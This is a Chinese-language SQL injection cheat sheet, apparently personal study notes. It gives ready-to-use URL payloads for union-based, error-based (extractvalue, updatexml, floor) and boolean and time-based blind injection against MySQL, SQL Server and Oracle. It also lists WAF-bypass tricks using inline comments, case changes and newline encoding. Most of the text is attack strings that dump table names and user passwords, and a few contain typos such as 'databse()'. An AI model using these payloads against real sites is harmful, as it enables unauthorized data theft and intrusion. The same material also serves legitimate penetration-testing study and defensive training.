# sql 注入

## 一般过程

1. 找到网站注入点
2. 判断注入点是字符型还是数字型注入（使用减法，使用`and 1=1`）
3. 判断闭合方式（fuzz，仅限于字符型注入）
4. 判断前一条sql查询列数（推荐`group by` 、 `order by`容易waf检测）
5. 查询回显位（仅限union注入）

```
?id=-1 union select 1,2,3
```

6. 查询当前数据库库名
7. 查询当前数据库所有表名
   - **table_name**表示表名，mysql数据库有**information_schema**数据库,存放了表名，列名，**information_schema.tables**是存放所有表名的表，**information_schema.columns**是存放所有列名的表，**table_schema**是数据库的名称，**table_name**是存放表名的列（是information_schema.tables的属性）,**group_concat**可以一行显示多个数据 `?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()`
8. 查询当前数据所有列名,**column_name**是存放所有列名的列,**information_schema.columns**包含了**table_name**属性 `?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'`
9. 查询当前数据表所有列项 **id,username,password** `?id=-1 union select 1,2,group_concat(id,':',username,'****') from users`

## 报错注入

原理：优先执行括号内的内容,报错注入最多一次只能显示*32*个字符

1. **extractvalue**报错注入
   - 数据库读取XML文件，**extractvalue(书名，路径)**，路径格式必须是/,否则报错
   - **concat(0x7e,(select database()))** 组合参数,concat用于连接字符串，若有一个参数为null，则返回null `?id=-1' and 1=extractvalue(1,concat(0x7e,(select database()))) --+`
   - **substring('test',x,y)**，从第x个字符开始，显示y个字符
   - 解决只能返回32个字符串问题 `?id=-1' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),25,30)))) --+ /*从第25个字符往后再显示30个字符*`
2. updatexml报错注入
   - updatexml()修改文档，三个参数，第二个参数为路径 `id=1' and 1=updatexml(1,concat(0x7e,(select databse())),3) --+ ?id=1 union select 1,2,updatexml(1,concat(0x7e,(select database())),3) --+`

```
SELECT concat_ws('-',2.3); SELECT concat_ws('-',database(),floor(rand()*2)); select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as cc from information_schema.tables group by cc;
```

3. floor报错注入
    - floor,count,group by冲突报错
    - 注入语句`and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)`

## 盲注

3. 布尔盲注
    - 页面不会报错，页面有两种状态，一种真值，一种假值 `?id=1' and ascii(substring((select database()),2,1))=101 --+`
4. 时间盲注

```
select if(1>2,2,sleep(2));
```

## 绕过防火墙

1. preg_replace($reg,$replace.$id)，替换函数
2. 双写绕过
3. 大小写绕过
4. 替换
    - order by = group by
    - union select = union all select
5. 混淆
    - 注释：/*xxxx*/ /*!50000 version()*/ *!会执行注释里的内容，版本大于5.0就会执行version()命令* `?id=-1' union /*!99999xxx*/ select 1,2,3,4 --+ ?id=-1' union /*!99999xxx*/ select 1,2,database(/*!99999 xxx*/) --+`
    - 换行： +(空格) %0A(换行，--+只注释当前行，换行后不注释)
    - 换行加注释： %0a --+ xxx `?id=-1' union /*!50000 --+/*%0a select 1,2,database() */ --+`

php?id= --------->mysql

asp?id= --------->access sql server

jsp?id= ---------> oracle

## sql server 注入

1. 常见查询函数

- select @@version; 数据库版本
- select @@servername; 查询服务名
- select host_name(); 查询主机名，如果用vnavicat远程连接，主机名是本地名字
- select db_name； 查询当前数据库名
- select user; 查询当前数据库的拥有者，结果为dbo。dbo 是每个数据库的默认用户，具有所有者权限，databaseOwner
- 只能使用order by函数查询列数
- for xml path('')===gropu_concat() `select * from user for xml path('')`
- quotename(表名) `select quotename() from user for xml path('') ?id=0' union select 1,2,(select quotename(table_name) from information_schema.tables for xml path('')) --+ ?id=0' union select 1,2,(select quotename(column_name) from information_schema.columns where table_name='users' for xml path('')) --+`
- sql server 排除法
- where 列名 not in 排除法 `where name not in('database1','database2')`
- master..sysdatabases获取数据库名 `?id=0' union select 1,2,name from master..sysdatabases where name not in('master','model','msdb','ReportServer','ReportServerTempDB') --+`
- sys.sysobjects表，存放所有数据库表名的表，xtype是S是system，U是user `?id=0' union select 1,2,name from sysobjects where xtype='U' --+`
- sys.syscolumns表，存放所有数据库列名的表，通过id确定表 `?id=0' union select 1,2,name from syscolumns where id=(select id from sysobjects where name='users' and xtype='U') and name not in ('id') --+`

2. 报错注入
   - `?id=0' and 1=(@@version) --+`
   - `?id=1' and 1=(select quotename(table_name) from information_schema.tables for xml path('')) --+`
   - convert()把时间定义一个数据类型
     - convert(data_type(length),data_to_beconverted,style)
   - cast()将数据类型转换为另一种数据类型
     - select cast(@@version as int)
3. 布尔盲注
   - `/?id=1' and ascii(substring(db_name(),1,1))>100 --+`
4. 时间盲注
   - waitfor delay '00:00:02'查询动作等待2秒后反馈结果
     - `if(ascii(substring((db_name()),1,1))>100) begin waitfor delay '00:00:00' end else begin waitfor delay '00:00:02' end --+`

## oracle 注入

1. 数据类型保持一致
    - 判断数据类型，dual是oracle的虚表 `?id=0' union select '1',null,null from dual --+`出现报错，则第一个数据类型为整形，若没有报错，则为字符型 `?id=1' union select 1,'2','3' from dual --+`判断回显位
    - wm_concat(),多行变一行，user_tables是表名，user_tab_columns是列名
        - `?id=1' union select 1,'2',(select wm_concat(table_name) from user_tables) from dual --+`
        - `?id=1' union select 1,'2',(select wm_concat(column_name) from user_tab_columns where table_name='USER') from dual --+`
        - `?id=1' union select 1,'2',(select wm_concat(column_name) from user_tab_columns where table_name='USERS') from dual --+`